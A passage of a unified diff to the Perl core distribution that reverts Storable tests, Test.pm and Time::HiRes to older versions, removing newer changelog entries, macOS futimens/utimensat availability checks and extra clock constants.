$!"; binmode FH; my $contents = ; die "Can't read $file: $!" unless defined $contents; @@ -21,13 +22,12 @@ sub slurp { sub store_and_retrieve { my $data = shift; unlink $file or die "Can't unlink '$file': $!"; - local *FH; - open FH, ">", $file or die "Can't open '$file': $!"; + open FH, '>', $file or die "Can't open '$file': $!"; binmode FH; print FH $data or die "Can't print to '$file': $!"; close FH or die "Can't close '$file': $!"; - return eval {retrieve $file}; + return eval {retrieve $file}; } sub freeze_and_thaw { diff --git a/dist/Storable/t/tied.t b/dist/Storable/t/tied.t index e8be39e4604b..921117dd8bec 100644 --- a/dist/Storable/t/tied.t +++ b/dist/Storable/t/tied.t @@ -18,8 +18,6 @@ sub BEGIN { } use Storable qw(freeze thaw); -$Storable::flags = Storable::FLAGS_COMPAT; - use Test::More tests => 25; ($scalar_fetch, $array_fetch, $hash_fetch) = (0, 0, 0); @@ -205,7 +203,7 @@ is($FAULT::fault, 2); { package P; use Storable qw(freeze thaw); - our ($a, $b); + use vars qw($a $b); $b = "not ok "; sub TIESCALAR { bless \$a } sub FETCH { "ok " } tie $a, P; my $r = thaw freeze \$a; $b = $$r; diff --git a/dist/Storable/t/tied_hook.t b/dist/Storable/t/tied_hook.t index 7f2bc98b7386..05b2b0fa3e80 100644 --- a/dist/Storable/t/tied_hook.t +++ b/dist/Storable/t/tied_hook.t @@ -18,9 +18,6 @@ sub BEGIN { } use Storable qw(freeze thaw); - -$Storable::flags = Storable::FLAGS_COMPAT; - use Test::More tests => 28; ($scalar_fetch, $array_fetch, $hash_fetch) = (0, 0, 0); diff --git a/dist/Storable/t/tied_items.t b/dist/Storable/t/tied_items.t index 3d13971b01a1..d54437cff098 100644 --- a/dist/Storable/t/tied_items.t +++ b/dist/Storable/t/tied_items.t @@ -25,8 +25,6 @@ $^W = 0; use Storable qw(dclone); use Test::More tests => 8; -$Storable::flags = Storable::FLAGS_COMPAT; - $h_fetches = 0; sub H::TIEHASH { bless \(my $x), "H" } diff --git a/dist/Storable/t/tied_reify.t b/dist/Storable/t/tied_reify.t deleted file mode 100644 index 44e86373e2b7..000000000000 --- a/dist/Storable/t/tied_reify.t +++ /dev/null @@ -1,36 +0,0 @@ -use Test::More tests => 1; - -package dumb_thing; - -use strict; use warnings; -use Tie::Array; -use Carp; -use base 'Tie::StdArray'; - -sub TIEARRAY { - my $class = shift; - my $this = bless [], $class; - my $that = shift; - - @$this = @$that; - - $this; -} - -package main; - -use strict; use warnings; -use Storable qw(freeze thaw); - -my $x = [1,2,3,4]; - -broken($x); # ties $x -broken( thaw( freeze($x) ) ); # since 5.16 fails with "Cannot tie unreifiable array" - -sub broken { - my $w = shift; - tie @$_, dumb_thing => $_ for $w; -} - -# fails since 5.16 -ok 1, 'Does not fail with "Cannot tie unreifiable array" RT#84705'; diff --git a/dist/Storable/t/utf8hash.t b/dist/Storable/t/utf8hash.t index a2a87257ea45..7eac651c6e39 100644 --- a/dist/Storable/t/utf8hash.t +++ b/dist/Storable/t/utf8hash.t @@ -28,7 +28,6 @@ use Test::More tests=>144; use bytes (); my %utf8hash; -$Storable::flags = Storable::FLAGS_COMPAT; $Storable::canonical = $Storable::canonical; # Shut up a used only once warning. for $Storable::canonical (0, 1) { diff --git a/dist/Storable/t/weak.t b/dist/Storable/t/weak.t index 220c70160f2b..0a06b0dcf62f 100644 --- a/dist/Storable/t/weak.t +++ b/dist/Storable/t/weak.t @@ -31,11 +31,9 @@ sub BEGIN { use Test::More 'no_plan'; use Storable qw (store retrieve freeze thaw nstore nfreeze); require 'testlib.pl'; -our $file; +use vars '$file'; use strict; -# $Storable::flags = Storable::FLAGS_COMPAT; - sub tester { my ($contents, $sub, $testersub, $what) = @_; # Test that if we re-write it, everything still works: diff --git a/dist/Term-ReadLine/lib/Term/ReadLine.pm b/dist/Term-ReadLine/lib/Term/ReadLine.pm index 78c1ebf5b631..e00fb376cd5f 100644 --- a/dist/Term-ReadLine/lib/Term/ReadLine.pm +++ b/dist/Term-ReadLine/lib/Term/ReadLine.pm @@ -75,8 +75,6 @@ history. Returns the old value. returns an array with two strings that give most appropriate names for files for input and output using conventions C<"E$in">, C<"Eout">. -The strings returned may not be useful for 3-argument open(). - =item Attribs returns a reference to a hash which describes internal configuration diff --git a/dist/Test/lib/Test.pm b/dist/Test/lib/Test.pm index 58daf281ac67..ce544ffe19e7 100644 --- a/dist/Test/lib/Test.pm +++ b/dist/Test/lib/Test.pm @@ -5,9 +5,10 @@ package Test; use strict; use Carp; -our ($VERSION, @ISA, @EXPORT, @EXPORT_OK, $ntest, $TestLevel); #public-is -our ($TESTOUT, $TESTERR, %Program_Lines, $told_about_diff, - $ONFAIL, %todo, %history, $planned, @FAILDETAIL); #private-ish +use vars (qw($VERSION @ISA @EXPORT @EXPORT_OK $ntest $TestLevel), #public-ish + qw($TESTOUT $TESTERR %Program_Lines $told_about_diff + $ONFAIL %todo %history $planned @FAILDETAIL) #private-ish + ); # In case a test is run in a persistent environment. sub _reset_globals { @@ -19,7 +20,7 @@ sub _reset_globals { $planned = 0; } -$VERSION = '1.31'; +$VERSION = '1.30'; require Exporter; @ISA=('Exporter'); diff --git a/dist/Test/t/fail.t b/dist/Test/t/fail.t index e131b4d9a609..9051a1f481e9 100644 --- a/dist/Test/t/fail.t +++ b/dist/Test/t/fail.t @@ -1,6 +1,6 @@ # -*-perl-*- use strict; -our $Expect; +use vars qw($Expect); use Test qw($TESTOUT $TESTERR $ntest ok skip plan); plan tests => 14; diff --git a/dist/Test/t/onfail.t b/dist/Test/t/onfail.t index fa478e55f185..dd6b83ec1582 100644 --- a/dist/Test/t/onfail.t +++ b/dist/Test/t/onfail.t @@ -2,10 +2,11 @@ use strict; use Test qw($ntest plan ok $TESTOUT $TESTERR); +use vars qw($mycnt); BEGIN { plan test => 6, onfail => \&myfail } -our $mycnt = 0; +$mycnt = 0; my $why = "zero != one"; # sneak in a test that Test::Harness wont see diff --git a/dist/Time-HiRes/Changes b/dist/Time-HiRes/Changes index bad6b565df47..c2ad5a530291 100644 --- a/dist/Time-HiRes/Changes +++ b/dist/Time-HiRes/Changes @@ -1,107 +1,5 @@ Revision history for the Perl extension Time::HiRes. -1.9759 [2018-03-23] - - This version reverts the changes on CPAN that were included in 1.9754 - 1.9758. - Several of these changes caused instability on some windows platforms. We can - revisit these fixes if necessary in Perl 5.29.0 - -1.9753 [2018-01-11] - - in t/clock.t in a fast system we need to burn more CPU, - reported and fix suggested by Joel C. Maslak - [rt.cpan.org #124025] - - for t/utime.t in netbsd we need /sbin in PATH to find the mount command, - this is needed for the fix in 1.9751 to actually help netbsd with noatime - mounts. - (thanks to Nigel Horne) - -1.9752 [2018-01-04] - - fix an error in the error message of utimensat() not available: - it said futimens() not available - - add --force alias for Makefile.PL --configure - -1.9751 [2018-01-02] - - in macOS/OSX/Darwin, use __has_builtin() check also for utimensat(), - can cause errors like - "HiRes.xs:1474:16: error: unrecognized platform name macOS" - [rt.cpan.org #123994] - (oversight from 1.9749) - - do not define TIME_HIRES_STAT/d_hires_stat if none was found, instead - of defining it to be zero, which case has no implementation in hrstatns() - (thanks to Nigel Horne) - - in t/utime.t try to divine if the filesystem of the tempfiles has been - mounted with the 'noatime' option, which can prohibit updating the - access time timestamp. Also document this in HiRes.pm. - (thanks to Nigel Horne, original analysis by Slaven Rezic) - - synchronize the constant lists in HiRes.pm:@EXPORT_OK - and Makefile.PL:doConstants and regenerate fallback/const-c.inc - and fallback/const-xs.inc, this fixes Perl 5.6.2 issue with - d_futimens not allegedly being a valid macro in t/utime.t - (using Perl 5.26.1 for the regenerating, not 5.6.2) - (thanks to Nigel Horne) - - in t/utime.t define a nop sub done_testing for ancient Perls - (like Perl 5.6.2) - - in Perl 5.6.2 a bogus warning - "Use of uninitialized value in subroutine entry" - is issued from t/alarm.t: add a comment documenting that - -1.9750 [2017-12-22] - - update META.yml and META.json for XSLoader instead of DynaLoader - [rt.cpan.org #123933] - -1.9749 [2017-12-21] - - CPAN release - - Quieten Time-HiRes test noise: blead 0f009486 - - Switch some core modules to XSLoader: blead b9a5a78f [rt.cpan.org #129789] - - disable a flapping test for CI: blead cd2a978d - - Avoid newGVgen in blead-upstream modules: blead 732d3893 - - Declaration after statement in typemap: blead d269f586 - - semicolon-friendly diagnostic control: blead 7347ee54 - - in macOS (OS X) check properly in runtime whether futimens() - and utimensat() are available - -1.9748 [2017-12-16] - - bleadperl only - - semicolon-friendly diagnostic control: blead 7347ee54 - -1.9747 [2017-09-13] - - bleadperl only - - Switch some core modules to XSLoader: blead b9a5a78f [rt.cpan.org #129789] - -1.9746 [2017-08-17] - - Unreliable t/usleep.t and t/utime.t tests [rt.cpan.org #122819] - Avoid testing for $dt = $t2 - $t1 and assuming $dt is less than - some value since a heavily loaded machine can delay the $t2. - Testing for greater than is fine. - - Tweak the configuring messages about subsecond stat/utime. - -1.9745 [2017-08-14] - - Properly check for futimens/utimensat actually doing something. - This should handle 'gnukfreebsd' (which has only stubs, so far - we have been skipping the test) and as a new thing 'gnu' (Hurd) - (also only stubs). Thanks to Nigel Horne. - - Scan in t/utime.t whether the filesystem (wherever File::Temp - puts it tempfiles) supports subsecond timestamps. This removes - the fragile Linux/ext3 specific hack. As a side effect, the - setting of subsecond timestamps is tested only if reading of - them is supported. Thanks to Carsten Gaebler for the test idea, - and Ryan Voots for testing. - -1.9744 [2017-07-27] - - add more potential clock constants, like CLOCK_MONOTONIC_FAST - (available in FreeBSD), and not all potentially found clock - constants were properly exported to be available from Perl, - see your system's clock_gettime() documentation for the available ones - -1.9743 [2017-07-20] - - correct declared minimum Perl version (should be 5.6, was declared - as 5.8 since 1.9727_03): blead af94b3ac - - fix the fix for 'do file' to load hints in Makefile.PL: blead 3172fdbc - -1.9742 [2017-04-16] - - prefer 3-argument open: blead 1ae6ead9 - - fix dist/Time-HiRes/t/*.t that assumed '.' in @INC: blead 465db51d - - fix cases where 'do file' should be 'do ./file'.: blead 8b69401c - 1.9741 [2016-11-20] - C++11 compatibility: blead a914236c - El Capitan compatibility: blead 45bbc013 diff --git a/dist/Time-HiRes/HiRes.pm b/dist/Time-HiRes/HiRes.pm index 59f0f3aad98a..a3ddd595b740 100644 --- a/dist/Time-HiRes/HiRes.pm +++ b/dist/Time-HiRes/HiRes.pm @@ -4,53 +4,31 @@ package Time::HiRes; use strict; require Exporter; -use XSLoader (); +require DynaLoader; -our @ISA = qw(Exporter); +our @ISA = qw(Exporter DynaLoader); our @EXPORT = qw( ); -# More or less this same list is in Makefile.PL. Should unify. our @EXPORT_OK = qw (usleep sleep ualarm alarm gettimeofday time tv_interval getitimer setitimer nanosleep clock_gettime clock_getres clock clock_nanosleep - CLOCKS_PER_SEC - CLOCK_BOOTTIME - CLOCK_HIGHRES - CLOCK_MONOTONIC - CLOCK_MONOTONIC_COARSE - CLOCK_MONOTONIC_FAST - CLOCK_MONOTONIC_PRECISE - CLOCK_MONOTONIC_RAW + CLOCK_BOOTTIME CLOCK_HIGHRES + CLOCK_MONOTONIC CLOCK_MONOTONIC_COARSE + CLOCK_MONOTONIC_PRECISE CLOCK_MONOTONIC_RAW CLOCK_PROCESS_CPUTIME_ID - CLOCK_PROF - CLOCK_REALTIME - CLOCK_REALTIME_COARSE - CLOCK_REALTIME_FAST - CLOCK_REALTIME_PRECISE - CLOCK_REALTIME_RAW - CLOCK_SECOND - CLOCK_SOFTTIME - CLOCK_THREAD_CPUTIME_ID - CLOCK_TIMEOFDAY - CLOCK_UPTIME - CLOCK_UPTIME_COARSE - CLOCK_UPTIME_FAST - CLOCK_UPTIME_PRECISE - CLOCK_UPTIME_RAW - CLOCK_VIRTUAL - ITIMER_PROF - ITIMER_REAL - ITIMER_REALPROF - ITIMER_VIRTUAL + CLOCK_REALTIME CLOCK_REALTIME_COARSE + CLOCK_REALTIME_FAST CLOCK_REALTIME_PRECISE + CLOCK_SECOND CLOCK_SOFTTIME CLOCK_THREAD_CPUTIME_ID + CLOCK_TIMEOFDAY CLOCKS_PER_SEC + ITIMER_REAL ITIMER_VIRTUAL ITIMER_PROF ITIMER_REALPROF TIMER_ABSTIME d_usleep d_ualarm d_gettimeofday d_getitimer d_setitimer - d_nanosleep d_clock_gettime d_clock_getres - d_clock d_clock_nanosleep d_hires_stat - d_futimens d_utimensat d_hires_utime + d_nanosleep d_clock_gettime d_clock_getres d_hires_utime + d_clock d_clock_nanosleep stat lstat utime ); -our $VERSION = '1.9759'; +our $VERSION = '1.9741'; our $XS_VERSION = $VERSION; $VERSION = eval $VERSION; @@ -91,7 +69,7 @@ sub import { Time::HiRes->export_to_level(1, $this, @_); } -XSLoader::load( 'Time::HiRes', $XS_VERSION ); +bootstrap Time::HiRes; # Preloaded methods go here. @@ -476,10 +454,8 @@ time stamp from t1: it may be equal or I. As L but with the ability to set the access/modify file timestamps -in subsecond resolution, if the operating system and the filesystem, -and the mount options of the filesystem, all support such timestamps. - -To override the standard utime(): +in subsecond resolution, if the operating system and the filesystem +both support such timestamps. To override the standard utime(): use Time::HiRes qw(utime); @@ -492,10 +468,6 @@ call the syscall with a NULL argument. The actual achievable subsecond resolution depends on the combination of the operating system and the filesystem. -Modifying the timestamps may not be possible at all: for example, the -C filesystem mount option may prohibit you from changing the -access time timestamp. - Returns the number of files successfully changed. =back diff --git a/dist/Time-HiRes/HiRes.xs b/dist/Time-HiRes/HiRes.xs index b9eaa17cde29..6b0dba8e6860 100644 --- a/dist/Time-HiRes/HiRes.xs +++ b/dist/Time-HiRes/HiRes.xs @@ -46,15 +46,6 @@ extern "C" { #define PERL_VERSION_GE(r,v,s) \ (PERL_DECIMAL_VERSION >= PERL_VERSION_DECIMAL(r,v,s)) -#ifndef GCC_DIAG_IGNORE -# define GCC_DIAG_IGNORE(x) -# define GCC_DIAG_RESTORE -#endif -#ifndef GCC_DIAG_IGNORE_STMT -# define GCC_DIAG_IGNORE_STMT(x) GCC_DIAG_IGNORE(x) NOOP -# define GCC_DIAG_RESTORE_STMT GCC_DIAG_RESTORE NOOP -#endif - /* At least ppport.h 3.13 gets this wrong: one really cannot * have NVgf as anything else than "g" under Perl 5.6.x. */ #if PERL_REVISION == 5 && PERL_VERSION == 6 @@ -922,40 +913,6 @@ static int th_clock_nanosleep(clockid_t clock_id, int flags, #endif /* PERL_DARWIN */ -/* The macOS headers warn about using certain interfaces in - * OS-release-ignorant manner, for example: - * - * warning: 'futimens' is only available on macOS 10.13 or newer - * [-Wunguarded-availability-new] - * - * (ditto for utimensat) - * - * There is clang __builtin_available() *runtime* check for this. - * The gotchas are that neither __builtin_available() nor __has_builtin() - * are always available. - */ -#ifndef __has_builtin -# define __has_builtin(x) 0 /* non-clang */ -#endif -#ifdef HAS_FUTIMENS -# if defined(PERL_DARWIN) && __has_builtin(__builtin_available) -# define FUTIMENS_AVAILABLE __builtin_available(macOS 10.13, *) -# else -# define FUTIMENS_AVAILABLE 1 -# endif -#else -# define FUTIMENS_AVAILABLE 0 -#endif -#ifdef HAS_UTIMENSAT -# if defined(PERL_DARWIN) && __has_builtin(__builtin_available) -# define UTIMENSAT_AVAILABLE __builtin_available(macOS 10.13, *) -# else -# define UTIMENSAT_AVAILABLE 1 -# endif -#else -# define UTIMENSAT_AVAILABLE 0 -#endif - #include "const-c.inc" #if (defined(TIME_HIRES_NANOSLEEP)) || \ @@ -1381,7 +1338,9 @@ setitimer(which, seconds, interval = 0) /* on some platforms the 1st arg to setitimer is an enum, which * causes -Wc++-compat to complain about passing an int instead */ - GCC_DIAG_IGNORE_STMT(-Wc++-compat); +#ifdef GCC_DIAG_IGNORE + GCC_DIAG_IGNORE(-Wc++-compat); +#endif if (setitimer(which, &newit, &oldit) == 0) { EXTEND(sp, 1); PUSHs(sv_2mortal(newSVnv(TV2NV(oldit.it_value)))); @@ -1390,7 +1349,9 @@ setitimer(which, seconds, interval = 0) PUSHs(sv_2mortal(newSVnv(TV2NV(oldit.it_interval)))); } } - GCC_DIAG_RESTORE_STMT; +#ifdef GCC_DIAG_RESTORE + GCC_DIAG_RESTORE; +#endif void getitimer(which) @@ -1401,7 +1362,9 @@ getitimer(which) /* on some platforms the 1st arg to getitimer is an enum, which * causes -Wc++-compat to complain about passing an int instead */ - GCC_DIAG_IGNORE_STMT(-Wc++-compat); +#ifdef GCC_DIAG_IGNORE + GCC_DIAG_IGNORE(-Wc++-compat); +#endif if (getitimer(which, &nowit) == 0) { EXTEND(sp, 1); PUSHs(sv_2mortal(newSVnv(TV2NV(nowit.it_value)))); @@ -1410,7 +1373,9 @@ getitimer(which) PUSHs(sv_2mortal(newSVnv(TV2NV(nowit.it_interval)))); } } - GCC_DIAG_RESTORE_STMT; +#ifdef GCC_DIAG_RESTORE + GCC_DIAG_RESTORE; +#endif #endif /* #if defined(HAS_GETITIMER) && defined(HAS_SETITIMER) */ @@ -1453,36 +1418,25 @@ PROTOTYPE: $$@ if (SvROK(file) && GvIO(SvRV(file)) && IoIFP(sv_2io(SvRV(file)))) { int fd = PerlIO_fileno(IoIFP(sv_2io(file))); - if (fd < 0) { + if (fd < 0) SETERRNO(EBADF,RMS_IFI); - } else { + else #ifdef HAS_FUTIMENS - if (FUTIMENS_AVAILABLE) { - if (futimens(fd, utbufp) == 0) { - tot++; - } - } else { - croak("futimens unimplemented in this platform"); - } -#else /* HAS_FUTIMENS */ - croak("futimens unimplemented in this platform"); -#endif /* HAS_FUTIMENS */ - } + if (futimens(fd, utbufp) == 0) + tot++; +#else /* HAS_FUTIMES */ + croak("futimens unimplemented in this platform"); +#endif /* HAS_FUTIMES */ } else { #ifdef HAS_UTIMENSAT - if (UTIMENSAT_AVAILABLE) { - STRLEN len; - char * name = SvPV(file, len); - if (IS_SAFE_PATHNAME(name, len, "utime") && - utimensat(AT_FDCWD, name, utbufp, 0) == 0) { - tot++; - } - } else { - croak("utimensat unimplemented in this platform"); - } + STRLEN len; + char * name = SvPV(file, len); + if (IS_SAFE_PATHNAME(name, len, "utime") && + utimensat(AT_FDCWD, name, utbufp, 0) == 0) + tot++; #else /* HAS_UTIMENSAT */ - croak("utimensat unimplemented in this platform"); + croak("utimensat unimplemented in this platform"); #endif /* HAS_UTIMENSAT */ } } /* while items */ diff --git a/dist/Time-HiRes/Makefile.PL b/dist/Time-HiRes/Makefile.PL index daca5b4f60c2..66691fd08b91 100644 --- a/dist/Time-HiRes/Makefile.PL +++ b/dist/Time-HiRes/Makefile.PL @@ -367,14 +367,10 @@ sub has_futimens { #include int main(int argc, char** argv) { - int ret1, ret2; - struct timespec ts1[2], ts2[2]; - ret1 = futimens(0, ts1); - char buf[1]; - read(0, buf, 0); /* Assuming reading nothing updates atime (the [0]) */ - ret2 = futimens(0, ts2); - ret1 == 0 && ret2 == 0 && (ts1[0].tv_nsec != 0 || ts2[0].tv_nsec != 0) ? - exit(0) : exit(errno ? errno : -1); + int ret; + struct timespec ts[2]; + ret = futimens(0, ts); + ret == 0 ? exit(0) : exit(errno ? errno : -1); } EOM } @@ -389,16 +385,10 @@ sub has_utimensat{ #include int main(int argc, char** argv) { - int ret1, ret2; - struct timespec ts1[2], ts2[2]; - /* We make the brave but probably foolish assumption that systems - * modern enough to have utimensat also have the /dev/stdin. */ - ret1 = utimensat(AT_FDCWD, "/dev/stdin", ts1, 0); - char buf[1]; - read(0, buf, 0); /* Assuming reading nothing updates atime (the [0]) */ - ret2 = utimensat(AT_FDCWD, "/dev/stdin", ts2, 0); - ret1 == 0 && ret2 == 0 && (ts1[0].tv_nsec != 0 || ts2[0].tv_nsec != 0) ? - exit(0) : exit(errno ? errno : -1); + int ret; + struct timespec ts[2]; + ret = utimensat(AT_FDCWD, 0, ts, 0); + ret == 0 ? exit(0) : exit(errno ? errno : -1); } EOM } @@ -517,7 +507,7 @@ EOD if ($has_setitimer && $has_getitimer) { print "You have interval timers (both setitimer and getitimer).\n"; } else { - print "You do NOT have interval timers.\n"; + print "You do not have interval timers.\n"; } print "Looking for ualarm()... "; @@ -705,7 +695,7 @@ EOD print "NOT found.\n"; } - print "Looking for working futimens()... "; + print "Looking for futimens()... "; my $has_futimens; if (has_futimens()) { $has_futimens++; @@ -718,7 +708,7 @@ EOD print "NOT found.\n"; } - print "Looking for working utimensat()... "; + print "Looking for utimensat()... "; my $has_utimensat; if (has_utimensat()) { $has_utimensat++; @@ -731,12 +721,8 @@ EOD print "NOT found.\n"; } - my $has_hires_utime = ($has_futimens && $has_utimensat); - if ($has_hires_utime) { + if ($has_futimens or $has_utimensat) { $DEFINE .= ' -DTIME_HIRES_UTIME'; - print "You seem to have subsecond timestamp setting.\n"; - } else { - print "You do NOT seem to have subsecond timestamp setting.\n"; } print "Looking for stat() subsecond timestamps...\n"; @@ -852,18 +838,14 @@ EOM DEFINE('TIME_HIRES_STAT', 4); } elsif ($has_stat_st_uxtime) { DEFINE('TIME_HIRES_STAT', 5); - } + } - my $has_hires_stat = ($DEFINE =~ /-DTIME_HIRES_STAT=(\d+)/) ? $1 : 0; - if ($has_hires_stat) { - print "You seem to have subsecond timestamp reading.\n"; - print "(Your struct stat has them, but the filesystems must help.)\n"; - unless ($has_hires_utime) { - print "However, you do NOT seem to have subsecond timestamp setting.\n"; - } - } else { - print "You do NOT seem to have subsecond timestamp reading.\n"; - } + if ($DEFINE =~ /-DTIME_HIRES_STAT=\d+/) { + print "You seem to have stat() subsecond timestamps.\n"; + print "(Your struct stat has them, but the filesystems must help.)\n"; + } else { + print "You do not seem to have stat subsecond timestamps.\n"; + } my $has_w32api_windows_h; @@ -913,10 +895,10 @@ sub doMakefile { 'PREREQ_PM' => { 'Carp' => 0, 'Config' => 0, + 'DynaLoader' => 0, 'Exporter' => 0, 'ExtUtils::MakeMaker' => 0, 'Test::More' => 0, - 'XSLoader' => 0, 'strict' => 0, }, 'dist' => { @@ -954,7 +936,7 @@ sub doMakefile { } if ($ExtUtils::MakeMaker::VERSION >= 6.48) { - push @makefileopts, (MIN_PERL_VERSION => '5.006',); + push @makefileopts, (MIN_PERL_VERSION => '5.008',); } if ($ExtUtils::MakeMaker::VERSION >= 6.31) { @@ -966,38 +948,31 @@ sub doMakefile { sub doConstants { if (eval {require ExtUtils::Constant; 1}) { - # More or less this same list is in HiRes.pm. Should unify. my @names = qw( - CLOCKS_PER_SEC - CLOCK_BOOTTIME - CLOCK_HIGHRES - CLOCK_MONOTONIC - CLOCK_MONOTONIC_COARSE - CLOCK_MONOTONIC_FAST - CLOCK_MONOTONIC_PRECISE - CLOCK_MONOTONIC_RAW - CLOCK_PROF - CLOCK_PROCESS_CPUTIME_ID - CLOCK_REALTIME - CLOCK_REALTIME_COARSE - CLOCK_REALTIME_FAST - CLOCK_REALTIME_PRECISE - CLOCK_REALTIME_RAW - CLOCK_SECOND - CLOCK_SOFTTIME - CLOCK_THREAD_CPUTIME_ID - CLOCK_TIMEOFDAY - CLOCK_UPTIME - CLOCK_UPTIME_COARSE - CLOCK_UPTIME_FAST - CLOCK_UPTIME_PRECISE - CLOCK_UPTIME_RAW - CLOCK_VIRTUAL - ITIMER_PROF - ITIMER_REAL - ITIMER_REALPROF - ITIMER_VIRTUAL - TIMER_ABSTIME + CLOCKS_PER_SEC + CLOCK_BOOTTIME + CLOCK_HIGHRES + CLOCK_MONOTONIC + CLOCK_MONOTONIC_COARSE + CLOCK_MONOTONIC_PRECISE + CLOCK_MONOTONIC_RAW + CLOCK_PROCESS_CPUTIME_ID + CLOCK_REALTIME + CLOCK_REALTIME_COARSE + CLOCK_REALTIME_FAST + CLOCK_REALTIME_PRECISE + CLOCK_SECOND + CLOCK_SOFTTIME + CLOCK_THREAD_CPUTIME_ID + CLOCK_TIMEOFDAY + CLOCK_UPTIME + CLOCK_UPTIME_FAST + CLOCK_UPTIME_PRECISE + ITIMER_PROF + ITIMER_REAL + ITIMER_REALPROF + ITIMER_VIRTUAL + TIMER_ABSTIME ); foreach (qw (d_usleep d_ualarm d_gettimeofday d_getitimer d_setitimer d_nanosleep d_clock_gettime d_clock_getres @@ -1007,16 +982,15 @@ sub doConstants { if ($macro =~ /^(d_nanosleep|d_clock)$/) { $macro =~ s/^d_(.+)/TIME_HIRES_\U$1/; } elsif ($macro =~ /^(d_hires_stat)$/) { - my $d_hires_stat = $1 if ($DEFINE =~ /-DTIME_HIRES_STAT=(\d+)/); - if (defined $d_hires_stat) { - push @names, {name => $_, macro => "TIME_HIRES_STAT", value => $d_hires_stat, - default => ["IV", "0"]}; - next; - } + my $d_hires_stat = 0; + $d_hires_stat = $1 if ($DEFINE =~ /-DTIME_HIRES_STAT=(\d+)/); + push @names, {name => $_, macro => "TIME_HIRES_STAT", value => $d_hires_stat, + default => ["IV", "0"]}; + next; } elsif ($macro =~ /^(d_hires_utime)$/) { my $d_hires_utime = - ($DEFINE =~ /-DHAS_FUTIMENS/ || - $DEFINE =~ /-DHAS_UTIMENSAT/); + ($DEFINE =~ /-DHAS_FUTIMENS/ || + $DEFINE =~ /-DHAS_UTIMENSAT/) ? 1 : 0; push @names, {name => $_, macro => "TIME_HIRES_UTIME", value => $d_hires_utime, default => ["IV", "0"]}; next; @@ -1051,11 +1025,9 @@ sub doConstants { } sub main { - if (-f "xdefine" && !(@ARGV && $ARGV[0] =~ /^--(?:configure|force)$/)) { + if (-f "xdefine" && !(@ARGV && $ARGV[0] eq '--configure')) { print qq[$0: The "xdefine" exists, skipping the configure step.\n]; - print qq[Use "$^X $0 --configure"\n]; - print qq[or: "$^X $0 --force\n]; - print qq[to force the configure step.\n]; + print qq[("$^X $0 --configure" to force the configure step)\n]; } else { print "Configuring Time::HiRes...\n"; 1 while unlink("define"); diff --git a/dist/Time-HiRes/fallback/const-c.inc b/dist/Time-HiRes/fallback/const-c.inc index 2c29a0b14140..524db169a9f1 100644 --- a/dist/Time-HiRes/fallback/const-c.inc +++ b/dist/Time-HiRes/fallback/const-c.inc @@ -24,7 +24,7 @@ static int constant_11 (pTHX_ const char *name, IV *iv_return) { /* When generated this function returned values for the list of names given here. However, subsequent manual editing may have added or removed some. - ITIMER_PROF ITIMER_REAL d_getitimer d_nanosleep d_setitimer d_utimensat */ + ITIMER_PROF ITIMER_REAL d_getitimer d_nanosleep d_setitimer */ /* Offset 7 gives the best switch position. */ switch (name[7]) { case 'P': @@ -80,63 +80,6 @@ constant_11 (pTHX_ const char *name, IV *iv_return) { #else *iv_return = 0; return PERL_constant_ISIV; -#endif - } - break; - case 'n': - if (memEQ(name, "d_utimensat", 11)) { - /* ^ */ -#ifdef HAS_UTIMENSAT - *iv_return = 1; - return PERL_constant_ISIV; -#else - *iv_return = 0; - return PERL_constant_ISIV; -#endif - } - break; - } - return PERL_constant_NOTFOUND; -} - -static int -constant_12 (pTHX_ const char *name, IV *iv_return) { - /* When generated this function returned values for the list of names given - here. However, subsequent manual editing may have added or removed some. - CLOCK_SECOND CLOCK_UPTIME d_hires_stat */ - /* Offset 10 gives the best switch position. */ - switch (name[10]) { - case 'M': - if (memEQ(name, "CLOCK_UPTIME", 12)) { - /* ^ */ -#ifdef CLOCK_UPTIME - *iv_return = CLOCK_UPTIME; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - case 'N': - if (memEQ(name, "CLOCK_SECOND", 12)) { - /* ^ */ -#ifdef CLOCK_SECOND - *iv_return = CLOCK_SECOND; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - case 'a': - if (memEQ(name, "d_hires_stat", 12)) { - /* ^ */ -#ifdef TIME_HIRES_STAT - *iv_return = 1; - return PERL_constant_ISIV; -#else - *iv_return = 0; - return PERL_constant_ISIV; #endif } break; @@ -148,12 +91,12 @@ static int constant_13 (pTHX_ const char *name, IV *iv_return) { /* When generated this function returned values for the list of names given here. However, subsequent manual editing may have added or removed some. - CLOCK_HIGHRES CLOCK_VIRTUAL TIMER_ABSTIME d_hires_utime */ - /* Offset 12 gives the best switch position. */ - switch (name[12]) { - case 'E': - if (memEQ(name, "TIMER_ABSTIM", 12)) { - /* E */ + CLOCK_HIGHRES TIMER_ABSTIME d_hires_utime */ + /* Offset 1 gives the best switch position. */ + switch (name[1]) { + case 'I': + if (memEQ(name, "TIMER_ABSTIME", 13)) { + /* ^ */ #ifdef TIMER_ABSTIME *iv_return = TIMER_ABSTIME; return PERL_constant_ISIV; @@ -163,19 +106,8 @@ constant_13 (pTHX_ const char *name, IV *iv_return) { } break; case 'L': - if (memEQ(name, "CLOCK_VIRTUA", 12)) { - /* L */ -#ifdef CLOCK_VIRTUAL - *iv_return = CLOCK_VIRTUAL; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - case 'S': - if (memEQ(name, "CLOCK_HIGHRE", 12)) { - /* S */ + if (memEQ(name, "CLOCK_HIGHRES", 13)) { + /* ^ */ #ifdef CLOCK_HIGHRES *iv_return = CLOCK_HIGHRES; return PERL_constant_ISIV; @@ -184,9 +116,9 @@ constant_13 (pTHX_ const char *name, IV *iv_return) { #endif } break; - case 'e': - if (memEQ(name, "d_hires_utim", 12)) { - /* e */ + case '_': + if (memEQ(name, "d_hires_utime", 13)) { + /* ^ */ #ifdef TIME_HIRES_UTIME *iv_return = 1; return PERL_constant_ISIV; @@ -204,8 +136,8 @@ static int constant_14 (pTHX_ const char *name, IV *iv_return) { /* When generated this function returned values for the list of names given here. However, subsequent manual editing may have added or removed some. - CLOCKS_PER_SEC CLOCK_BOOTTIME CLOCK_REALTIME CLOCK_SOFTTIME ITIMER_VIRTUAL - d_clock_getres d_gettimeofday */ + CLOCKS_PER_SEC CLOCK_REALTIME CLOCK_SOFTTIME ITIMER_VIRTUAL d_clock_getres + d_gettimeofday */ /* Offset 8 gives the best switch position. */ switch (name[8]) { case 'A': @@ -249,17 +181,6 @@ constant_14 (pTHX_ const char *name, IV 